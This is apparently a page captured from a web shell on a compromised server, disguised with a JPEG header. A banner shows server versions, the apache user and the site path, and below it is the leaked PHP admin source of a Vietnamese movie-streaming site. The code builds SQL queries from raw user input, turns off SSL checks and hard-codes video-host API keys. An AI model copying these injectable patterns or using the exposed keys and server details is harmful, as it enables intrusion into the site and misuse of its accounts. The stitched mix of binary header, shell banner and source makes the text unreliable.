���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/vidoe.top/admin_new/mod/ |
<?php class pages{ var $path_image = "upload/pages/"; var $path_image_sub = "upload/pages/sub_img/"; var $path_files = "upload/pages/files/"; var $max_fsize = 1500000; var $thumb_width = 230; var $thumb_height = 197; var $thumb2_width = 102; var $thumb2_height = 87; function pages(){ global $CORE; $arr_mid = array(); switch($CORE->input['code']){ default : $this->goList(); break; case 'post': $this->goPost(); break; case 'del': $this->goDel($arr_mid); break; case 'showpages' : $this->goShowpages(); break; case 'del_img_sub' : $this->del_img_sub(); break; case 'del_file' : $this->del_file(); break; case 'del_size' : $this->del_size(); break; case 'del_color' : $this->del_color(); break; case 'info_phimmoi' : $this->info_phimmoi(); break; case 'info_imdb' : $this->info_imdb(); break; case 'info_phim7' : $this->info_phim7(); break; case 'info_zingtv' : $this->info_zingtv(); break; case 'info_phimbathu' : $this->info_phimbathu(); break; case 'info_bilutv' : $this->info_bilutv(); break; case 'info_anivn' : $this->info_anivn(); break; case 'info_mydramalist' : $this->info_mydramalist(); break; case 'info_vkool' : $this->info_vkool(); break; case 'info_vophim' : $this->info_vophim(); break; case 'info_ophim1' : $this->info_ophim1(); break; case 'delete_phimmoi' : $this->delete_phimmoi(); break; } } function info_ophim1(){ global $CORE, $func; include ROOT_PATH.'lib/simple_html_dom.php'; $url = trim($CORE->input['url']); $url = str_replace('https://ophim6.cc','https://ophim1.com',$url); $content = $func->get_content_page($url,'https://ophim1.cc/'); $arr_content = json_decode($content,true); /*print_r($arr_content); exit();*/ if($arr_content['status']==1){ $detail['title_vi'] = trim($arr_content['movie']['name']); $detail['title_en'] = trim($arr_content['movie']['origin_name']); $detail['plot'] = trim(strip_tags(html_entity_decode($arr_content['movie']['content']))); $detail['namphathanh'] = trim($arr_content['movie']['year']); if($arr_content['movie']['episode_total']==1 && $arr_content['movie']['chieurap']==1){ $detail['hinhthuc'] = 'in-theaters'; } if($arr_content['movie']['episode_total']==1 && $arr_content['movie']['chieurap']==''){ $detail['hinhthuc'] = 'movie'; } if($arr_content['movie']['episode_total']!=1){ $detail['hinhthuc'] = 'tv-drama'; } if($arr_content['movie']['lang']=='Vietsub'){ $detail['ngonngu'] = 'viet-sub'; }else{ $detail['ngonngu'] = 'subtitle'; } if($arr_content['movie']['quality']=='HD'){ $detail['chatluong'] = 'HD'; } $detail['dienvien'] = implode(',',$arr_content['movie']['actor']); $detail['daodien'] = implode(',',$arr_content['movie']['director']); $detail['dodai'] = str_ireplace(array('phút','g','ph','tập'),array('m','h','m','epi'),$arr_content['movie']['time']); foreach($arr_content['episodes'][0]['server_data'] as $val){ $arr_epi[]=str_replace('http://','https://',$val['link_m3u8']); } $detail['sotap'] = count($arr_epi); $detail['linkphim_vietsub'] = implode('@',$arr_epi); /*$detail['img'] = $arr_content['movie']['thumb_url']; $detail['img'] = $func->get_content_page('https://img1.vidoe.top/download_img.php?url='.$detail['img'],'https://www.vidoe.top/');*/ } $encode = json_encode($detail); echo $encode; exit(); } function delete_phimmoi(){ global $DB; $q_banhtv = $DB->query("SELECT * FROM gtdesign_phim WHERE linkphim LIKE '%fembed.com%' AND linkphim_tm LIKE '%hydrax.net%' LIMIT 200"); ob_end_flush(); while ($r_banhtv = $DB->fetch_row($q_banhtv)){ if($r_banhtv['linkphim_tm']!='' and strpos($r_banhtv['linkphim_tm'],'hydrax.net')!==false){ $DB->query("UPDATE gtdesign_phim SET `linkphim`='".$r_banhtv['linkphim_tm']."', `linkphim_tm`='' WHERE `id`='".$r_banhtv['id']."' "); echo 'Update: '.$r_banhtv['title_vi'] . ' (hydrax.net)<br />'; echo $r_banhtv['id'] . '<br />'; }else{ echo 'nolink'.'<br />'; echo $r_banhtv['id'] . '<br />'; } flush(); sleep(1); } exit(); } function info_vkool(){ global $CORE, $func; include ROOT_PATH.'lib/simple_html_dom.php'; $url = trim($CORE->input['url']); $content = $func->get_content_page($url,'vkool.tv'); $html = str_get_html($content); $detail = array(); $detail['title_vi'] = trim($html->find('span.title-1 a.title-1',0)->plaintext); $detail['title_en'] = trim($html->find('span.title-2',0)->plaintext); $detail['title_en'] = trim($html->find('span.title-2',0)->plaintext); $detail['img'] = trim($html->find('div.movie-l-img img',0)->src); $detail['namphathanh'] = str_replace(array('(',')'),array('',''),trim($html->find('span.title-year',0)->plaintext)); $detail['plot'] = trim($html->find('div.content',0)->plaintext); $encode = json_encode($detail); echo $encode; exit(); } function info_mydramalist(){ global $CORE, $func; include ROOT_PATH.'lib/simple_html_dom_1.9.1.php'; $url = trim($CORE->input['url']); $content = $func->get_content_page($url,'https://mydramalist.com/'); $html = str_get_html($content); $detail = array(); $detail['title_en'] = trim($html->find('h1.film-title a',0)->plaintext); $title_en = trim(str_replace(array('Native Title:','Also Known As:'),array('',''),$html->find('div.show-detailsxss li.list-item a',0)->plaintext)); $detail['title_other'] = $title_en; preg_match('#\((.*?)\)#is',trim($html->find('h1.film-title',0)->plaintext),$match); $detail['namphathanh'] = $match[1]; $arr = explode('<div class="box-header primary"><h3>Details</h3></div>',$content); $html2 = str_get_html($arr[1]); $detail['sotap'] = 1; foreach($html2->find('li.list-item') as $val){ if(stripos($val->plaintext,'duration')!==false){ $detail['dodai'] = trim(str_ireplace('Duration:','',$val->plaintext)); } if(strpos($val->plaintext,'Directors:')!==false){ $detail['daodien'] = trim(str_replace('Directors:','',$val->plaintext)); } if(strpos($val->plaintext,'Episodes:')!==false){ $detail['sotap'] = trim(str_replace('Episodes:','',$val->plaintext)); } } foreach($html->find('div.p-a-sm li') as $val){ if(stripos($val->find('a',1)->href,'people/')!==false){ $arr_star[] = trim($val->find('a',1)->plaintext); } } $detail['dienvien'] = implode(',',$arr_star); $detail['plot_en'] = trim($html->find('div.show-synopsis', 0)->plaintext); $arr_plot = explode('(Source:',$detail['plot_en']); $detail['plot_en'] = trim($arr_plot[0]); $detail['img'] = $html->find('meta[property=og:image]', 0)->content; $detail['img'] = $func->get_content_page('https://img1.vidoe.top/download_img.php?url='.$detail['img'].'&name='.$func->format_string($detail['title_en']),'https://www.vidoe.top/'); //link phim $encode = json_encode($detail); echo $encode; exit(); } function info_imdb(){ global $CORE, $func,$INFO; include ROOT_PATH.'lib/simple_html_dom.php'; $url = trim($CORE->input['url']); $content = $func->get_content_page($url,'imdb.com'); preg_match('#<script type="application\/ld\+json">(.*?)<\/script>#is',$content,$match); $arr=json_decode($match[1],true); /* echo strip_tags($content); exit(); $html = str_get_html($content); $detail = array(); $title_en = $html->find('meta[property=og:title]',0)->content; $arr_title = explode('(',$title_en);*/ if(isset($arr['alternateName']) && trim($arr['alternateName'])!='') { $detail['title_en'] = trim($arr['alternateName']); } if(isset($arr['name']) && trim($arr['name'])!='') { $detail['title_other'] = trim($arr['name']); } $detail['namphathanh'] = date('Y',strtotime($arr['datePublished'])); $detail['dodai'] = str_replace(array('PT','H','M'),array('','h ','m'),$arr['duration']); $detail['title_other'] = trim($arr['name']);; $detail['plot_en'] = str_replace(array(''','"'),array("`","`"),trim($arr['description'])); foreach($arr['actor'] as $key=>$val){ if($val['@type']=='Person'){ $arr_dienvien[] = $val['name']; } } $detail['dienvien'] = implode(',',$arr_dienvien); foreach($arr['director'] as $key=>$val){ if($val['@type']=='Person'){ $arr_daodien[] = $val['name']; } } $detail['daodien'] = implode(',',$arr_daodien); $detail['img'] = $arr['image']; $detail['img'] = $func->get_content_page('https://img1.vidoe.top/download_img.php?url='.$detail['img'].'&name='.$func->format_string($detail['title_en'].'-'.$detail['title_other']),'https://www.vidoe.top/'); /*foreach($arr['genre'] as $val){ foreach($INFO['theloai'] as $key=>$val){ if($val['en']==$val){ } } }*/ $encode = json_encode($detail); echo $encode; exit(); } function info_phimmoi(){ global $CORE, $func; include ROOT_PATH.'lib/simple_html_dom.php'; $url = trim($CORE->input['url']); $url2 = trim($CORE->input['url2']); $content = $func->curl_func('http://st2.videock.com/logs/get_page.php?url='.base64_encode($url)); $html = str_get_html($content); $detail = array(); $detail['basic_link'] = $url; $title_full = $html->find('meta[property=og:title]',0)->content; $detail['title_vi'] = $html->find('h1.movie-title span.title-1',0)->plaintext; $detail['title_en'] = $html->find('h1.movie-title span.title-2',0)->plaintext; $detail['plot'] = $html->find('div#film-content', 0)->plaintext; $img = $html->find('meta[property=og:image]',1)->content; //preg_match('#image\.phimmoi\.net(.*?)poster\.medium\.jpg#is', $img ,$match); $url_img = $img; /*$driveService = new Google_Service_Drive($client); $folderId = '0B3sDIfFrXDx_ejk5dlpqTWFRNEE'; $fileMetadata = new Google_Service_Drive_DriveFile(array( 'name' => $func->format_string($detail['title_en']) . '-' . basename($url_img), 'parents' => array($folderId) )); $content_img = file_get_contents($url_img); $file = $driveService->files->create($fileMetadata, array( 'data' => $content_img, 'mimeType' => 'image/jpeg', 'uploadType' => 'multipart', 'fields' => 'id')); $url_img = 'https://drive.google.com/uc?export=download&id=' . $file->id;*/ $detail['img'] = $url_img; //link phim /*$link_xem = 'http://www.phimmoi.net/'.$html->find('a#btn-film-watch',0)->href; $content2 = $func->get_content_page($link_xem,'phimmoi.net'); $html2 = str_get_html($content2); $server = array(); $txt_episode_1 = $html2->find('ul.list-episode',0)->innertext; $html3 = str_get_html($txt_episode_1); foreach ($html3->find('a') as $val){ $server[] = 'http://www.phimmoi.net/' . $val->href; } if(empty($server)){ $detail['linkphim_vietsub'] = $link_xem; $detail['sotap'] = 1; }else { $detail['linkphim_vietsub'] = implode('@', $server); $detail['sotap'] = count($server); } $txt_episode_2 = $html2->find('ul.list-episode',1)->innertext; $html4 = str_get_html($txt_episode_2); foreach ($html4->find('a') as $val){ $server2[] = 'http://www.phimmoi.net/' . $val->href; } $detail['linkphim_tm'] = implode('@', $server2);*/ $detail['linkphim_vietsub'] = ''; $detail['linkphim_tm'] = ''; $encode = json_encode($detail); echo $encode; exit(); } function goList(){ global $CORE, $DB, $smarty, $func, $print; $smarty->assign('module_name','Quản lý phim'); $smarty->assign('title','pages'); $smarty->assign('status',$CORE->input['status']); $smarty->assign('section','list'); $where = "WHERE title_vi<>''"; $fcat = intval($CORE->input['id_menu']); $fstatus = $CORE->input['fstatus']; $fkeyword = trim($CORE->input['fkeyword']); //$fkeyword2 = $func->bodau_normal($fkeyword); $fkeyword3 = str_ireplace('d','đ',$fkeyword); $fkeyword4 = str_ireplace('D','Đ',$fkeyword); $country = ''; if(isset($CORE->input['country']) and $CORE->input['country']!='') { $country = $CORE->input['country']; $where .= " AND `quocgia` LIKE '%".$country."%' "; } if(isset($CORE->input['hinhthuc']) and $CORE->input['hinhthuc']!='') { $hinhthuc = $CORE->input['hinhthuc']; $where .= " AND `hinhthuc` LIKE '%".$hinhthuc."%' "; } if($fstatus!='') { $where .= " AND status = '".$fstatus."' "; } if($fkeyword!='') { //$where .= " AND ((title_vi LIKE '%".$fkeyword."%') OR (title_vi LIKE '%".$fkeyword3."%') OR (title_vi LIKE '%".$fkeyword4."%') OR (title_en LIKE '%".$fkeyword."%') OR (title_other LIKE '%".$fkeyword."%') OR (linkphim LIKE '%".$fkeyword."%') OR (linkphim_tm LIKE '%".$fkeyword."%') OR (linkphim_lt LIKE '%".$fkeyword."%') OR (img LIKE '%".$fkeyword."%') ) "; $where .= " AND ((title_vi LIKE '%".$fkeyword."%') OR (title_vi LIKE '%".$fkeyword3."%') OR (title_vi LIKE '%".$fkeyword4."%') OR (title_en LIKE '%".$fkeyword."%') OR (title_other LIKE '%".$fkeyword."%') OR (linkphim LIKE '%".$fkeyword."%') OR (img LIKE '%".$fkeyword."%') OR (id='".$fkeyword."') ) "; $nsearch = 1; } $smarty->assign('nsearch',$nsearch); if($CORE->input['nosearch']){ unset($_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);} $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1; $pageSize = 20; $from = (($pageNum * $pageSize) - $pageSize); $t = $DB->fetch_row($DB->query("SELECT count(id) as total FROM gtdesign_phim ".$where)); $total = $t['total']; $totalPage = ceil($total / $pageSize); $query = $DB->query("SELECT * FROM gtdesign_phim ".$where." ORDER BY time DESC LIMIT $from, $pageSize"); while($row = $DB->fetch_row($query)) { $row['sotap_daup'] = substr_count($row['linkphim'], '@') + 1; $row['time'] = date('d-m-Y',$row['time']); $arr[] = $row; } $smarty->assign('a_home',$arr); $nav = $print->Pagination($totalPage,$pageNum,'pages',$CORE->admin_url.'&act=phim&id_menu='.$fcat.'&fstatus='.$fstatus.'&fkeyword='.$fkeyword.'&country='.$country.'&hinhthuc='.$hinhthuc); $smarty->assign('nav',$nav); $arr_mid = $CORE->input['mid_for_del']; if(!empty($arr_mid)){ $type = $CORE->input['type']; switch($type){ case 'del': $this->goDel($arr_mid); break; default: $this->goAction($arr_mid,$type); break; } } } function goPost(){ global $CORE, $DB, $func, $smarty, $print, $INFO; $smarty->assign('module_name','Quản lý bài viết'); $smarty->assign('title','pages'); $smarty->assign('status',$CORE->input['status']); $smarty->assign('section','post'); if($_SESSION['error']) unset($CORE->input['bsubmit']); if(!$CORE->input['bsubmit']){ $id = intval($CORE->input['id']); if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']); if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']); if($prevState!=NULL){ $data = $prevState; }else{ if($id==0){ $data['status'] = 1; }else{ $query = $DB->query("SELECT * FROM gtdesign_phim WHERE id='".$id."'"); $data = $DB->fetch_row($query); } } //hinh thuc $txt_hinh_thuc = ''; foreach($INFO['hinhthuc'] as $key=>$val){ if($data['hinhthuc']==$key) { $txt_hinh_thuc .= '<option value="' . $key . '" selected>' . $val['vi'] . '</option>'; }else{ $txt_hinh_thuc .= '<option value="' . $key . '">' . $val['vi'] . '</option>'; } } $smarty->assign('hinhthuc',$txt_hinh_thuc); //ngon ngu $txt_ngon_ngu = ''; foreach($INFO['ngonngu'] as $key=>$val){ if(strpos($data['ngonngu'],$key)!==false) { $txt_ngon_ngu .= '<option value="' . $key . '" selected>' . $val['vi'] . '</option>'; }else{ $txt_ngon_ngu .= '<option value="' . $key . '">' . $val['vi'] . '</option>'; } } $smarty->assign('ngonngu',$txt_ngon_ngu); //the loai $txt_the_loai = ''; $q_theloai = $DB->query("SELECT * FROM gtdesign_genres"); while($r_theloai = $DB->fetch_row($q_theloai)){ if(strpos($data['theloai'],$r_theloai['slug'].'@')!==false) { $txt_the_loai .= '<option value="' . $r_theloai['slug'] . '" selected>' .$r_theloai['name']. '</option>'; }else{ $txt_the_loai .= '<option value="' . $r_theloai['slug'] . '">' . $r_theloai['name'] . '</option>'; } } $smarty->assign('theloai',$txt_the_loai); //quocgia $txt_quocgia = ''; $q_country = $DB->query("SELECT * FROM gtdesign_country"); while($r_country = $DB->fetch_row($q_country)){ if(strpos($data['quocgia'],$r_country['slug'].'@')!==false) { $txt_quocgia .= '<option value="' . $r_country['slug'] . '" selected>' .$r_country['name']. '</option>'; }else{ $txt_quocgia .= '<option value="' . $r_country['slug'] . '">' . $r_country['name'] . '</option>'; } } $smarty->assign('quocgia',$txt_quocgia); //nam phat hanh $txt_namphathanh = ''; foreach($INFO['namphathanh'] as $key=>$val){ if($data['namphathanh']==$key) { $txt_namphathanh .= '<option value="' . $key . '" selected>' . $val['vi'] . '</option>'; }else{ $txt_namphathanh .= '<option value="' . $key . '">' . $val['vi'] . '</option>'; } } $smarty->assign('namphathanh',$txt_namphathanh); $data['status'] = $func->yes_no($data['status'],'f[status]'); $data['phimdecu'] = $func->yes_no($data['phimdecu'],'f[phimdecu]'); $data['hot'] = $func->yes_no($data['hot'],'f[hot]'); $data['phimyeucau'] = $func->yes_no($data['phimyeucau'],'f[phimyeucau]'); if(empty($data['chatluong'])) { $data['chatluong'] = 'HD'; } if(empty($data['sotap'])) { $data['sotap'] = '1'; } $error[] = $prevError; $smarty->assign('error',$error); $smarty->assign('post',$data); }else{ $f = $CORE->input['f']; $id = intval($f['id']); $f = $CORE->input['f']; if($id>0){ $row_check = $DB->fetch_row($DB->query("SELECT id FROM gtdesign_phim WHERE title_vi ='".$f['title_vi']."' AND namphathanh ='".$f['namphathanh']."' AND title_en='".$f['title_en']."' AND id<>'$id'")); }else{ $row_check = $DB->fetch_row($DB->query("SELECT id FROM gtdesign_phim WHERE title_vi='".$f['title_vi']."' AND namphathanh ='".$f['namphathanh']."' AND title_en='".$f['title_en']."' ")); } if($row_check){ echo 'Tên bài viết bị trùng, xin đặt tên khác!'; exit(); } $time = time(); if($f['title_vi']=='') exit('Xin nhập tiêu đề'); //get img url if(strpos($f['img'],'drive.google.com')===false) { $f['img'] = str_replace(array('https', 'encrypted-tbn'), array('https', 't'), $f['img']); } if(strpos($f['img'],'drive.google.com')!==false) { $f['img'] = str_replace('https://drive.google.com/open?id=', 'https://drive.google.com/uc?export=download&id=', $f['img']); } $f['theloai'] = implode('@',array_values($f['theloai'])).'@'; $f['quocgia'] = implode('@',array_values($f['quocgia'])).'@'; $f['ngonngu'] = implode('@',array_values($f['ngonngu'])); $f['linkphim'] = str_replace('drive.google.com/a/ischool.vn','drive.google.com/a/123vid.top.com.vn',$f['linkphim']); $f['linkphim_tm'] = str_replace('drive.google.com/a/ischool.vn','drive.google.com/a/123vid.top.com.vn',$f['linkphim_tm']); $f['linkphim_lt'] = str_replace('drive.google.com/a/ischool.vn','drive.google.com/a/123vid.top.com.vn',$f['linkphim_lt']); if(strpos($f['linkphim'],'photos.google.com')!==false and strpos($f['linkphim'],'?key=')===false) { $f['linkphim'] = $f['linkphim'].'?key=RnlIQU55OGpWZzgwWFlhR19QZFVEMUtOYWxHY2hB'; } if(strpos($f['linkphim'],'vup.to')!==false and strpos($f['linkphim'],'?keyapi=')===false) { $arr_link = explode('@',$f['linkphim']); foreach ($arr_link as $val){ $val = trim($val).'?keyapi=315f985n6di9q7n0g4a'; $arrlinkphim[] = trim($val); } $f['linkphim'] = implode('@',$arrlinkphim); } if(strpos($f['linkphim'],'openstream.io')!==false){ $arr_link = explode('@',$f['linkphim']); foreach ($arr_link as $val){ $rest = substr($val, -4); if($rest!='m3u8'){ exit('error .m3u8'); } } } if($id==0){ $DB->query("INSERT INTO `gtdesign_phim` ( `title_vi`, `title_en`, `title_other`, `img`, `hinhthuc`, `ngonngu`, `theloai`, `quocgia`, `namphathanh`, `daodien`, `dienvien`, `chatluong`, `plot`, `plot_en`, `sotap`, `dodai`,`linkphim`,`linkphim_tm`, `linkphim_lt`, `tags`, `hit`, `time`, `user_post`, `status`, `phimdecu`, `yeucau`,`hot`, `link_download`, `pos`, `basic_link`,`subtitle`) VALUES ( '".$f['title_vi']."', '".$f['title_en']."', '".$f['title_other']."', '".$f['img']."', '".$f['hinhthuc']."', '".$f['ngonngu']."', '".$f['theloai']."', '".$f['quocgia']."', '".$f['namphathanh']."', '".$f['daodien']."', '".$f['dienvien']."', '".$f['chatluong']."', '".$f['plot']."', '".$f['plot_en']."', '".$f['sotap']."', '".$f['dodai']."', '".trim($f['linkphim'])."','".trim($f['linkphim_tm'])."','".trim($f['linkphim_lt'])."','".$f['tags']."', '1', '".time()."', '[email protected]', '".$f['status']."', '".$f['phimdecu']."', '".$f['yeucau']."','".$f['hot']."', '".$f['link_download']."', '1', '".$f['basic_link']."', '".$f['subtitle']."');"); $insert_id = $DB->insert_id(); return $print->refresh("index.php?act=phim&code=post&status=add_success&id=".$insert_id."#tab2"); }else{ $DB->query("UPDATE `gtdesign_phim` SET `title_vi`='".$f['title_vi']."',`title_en`='".$f['title_en']."',`title_other`='".$f['title_other']."',`img`='".$f['img']."',`hinhthuc`='".$f['hinhthuc']."',`ngonngu`='".$f['ngonngu']."',`theloai`='".$f['theloai']."',`quocgia`='".$f['quocgia']."',`namphathanh`='".$f['namphathanh']."',`daodien`='".$f['daodien']."',`dienvien`='".$f['dienvien']."',`chatluong`='".$f['chatluong']."',`plot`='".$f['plot']."',`plot_en`='".$f['plot_en']."',`sotap`='".$f['sotap']."',`dodai`='".$f['dodai']."',`linkphim`='".trim($f['linkphim'])."',`linkphim_tm`='".trim($f['linkphim_tm'])."',`linkphim_lt`='".trim($f['linkphim_lt'])."',`tags`='".$f['tags']."',`status`='".$f['status']."',`phimdecu`='".$f['phimdecu']."',`yeucau`='".$f['yeucau']."',`link_download`= '".$f['link_download']."' ,`hot`='".$f['hot']."' ,`basic_link`='".$f['basic_link']."' ,`subtitle`='".$f['subtitle']."' WHERE id='$id'"); if($f['top']==1){ $DB->query("UPDATE `gtdesign_phim` SET `time`='".$time."' WHERE id='$id' "); } if($f['un_top']==1){ $DB->query("UPDATE `gtdesign_phim` SET `time`='".($time-7*24*60*60)."' WHERE id='$id' "); } } return $print->refresh("index.php?act=phim&code=post&status=edit_success&id=".$id); } } function goAction($arr_mid,$type){ global $DB, $print; foreach($arr_mid as $val){ switch($type){ case 'active_phimdecu': $DB->query("UPDATE gtdesign_phim SET phimdecu='1' WHERE id='".$val."'"); break; case 'deactive_phimdecu': $DB->query("UPDATE gtdesign_phim SET phimdecu='0' WHERE id='".$val."'"); break; case 'active_hot': $DB->query("UPDATE gtdesign_phim SET hot='1' WHERE id='".$val."'"); break; case 'deactive_hot': $DB->query("UPDATE gtdesign_phim SET hot='0' WHERE id='".$val."'"); break; case 'active': $DB->query("UPDATE gtdesign_phim SET status='1' WHERE id='".$val."'"); break; case 'de_active': $DB->query("UPDATE gtdesign_phim SET status='0' WHERE id='".$val."'"); break; case 'getlink_bilutv': $row_check = $DB->fetch_row($DB->query("SELECT `linkphim` FROM `gtdesign_phim` WHERE `linkphim` LIKE '%bilutv.com%' AND id='".$val."' ")); $body = trim($row_check['linkphim']); $arr = explode('@',$body); $arr_decode = array(); foreach ($arr as $val2) { $url = trim($val2); $arr_decode[] = file_get_contents('http://tracnghiem.ischool.vn/bilutv.php?url='.$url); } $link_new = implode('@',$arr_decode); $DB->query("UPDATE gtdesign_phim SET linkphim='".$link_new."' WHERE id='".$val."' "); break; } } $print->refresh('index.php?act=phim&status=edit_success&fkeyword=bilutv.com'); } function goDel($arr_id){ global $CORE, $DB, $print; if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...'); if(empty($arr_id)){ $id = intval($CORE->input['id']); $query = $DB->query("SELECT img FROM gtdesign_phim WHERE id='".$id."'"); $result = $DB->fetch_row($query); if($result['img'] !=''){ unlink(ROOT_PATH.$this->path_image.$result['img']); } $DB->query("DELETE FROM gtdesign_phim WHERE id='".$id."'"); $print->refresh("index.php?act=phim&status=del_success&cat=".$result['cid']); exit(); }else{ foreach($arr_id as $val){ $query = $DB->query("SELECT img FROM gtdesign_phim WHERE id='".$val."'"); $result = $DB->fetch_row($query); if($result['img'] !=''){ unlink(ROOT_PATH.$this->path_image.$result['img']); } $DB->query("DELETE FROM gtdesign_phim WHERE id='".$val."'"); } } $print->refresh("index.php?act=phim&status=del_success"); } } function curl($url) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $url); $head[] = "Connection: keep-alive"; $head[] = "Keep-Alive: 300"; $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $head[] = "Accept-Language: en-us,en;q=0.5"; curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36'); curl_setopt($ch, CURLOPT_ENCODING, 'gzip'); curl_setopt($ch, CURLOPT_HTTPHEADER, $head); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $page = curl_exec($ch); curl_close($ch); return $page; } $run = new pages(); ?>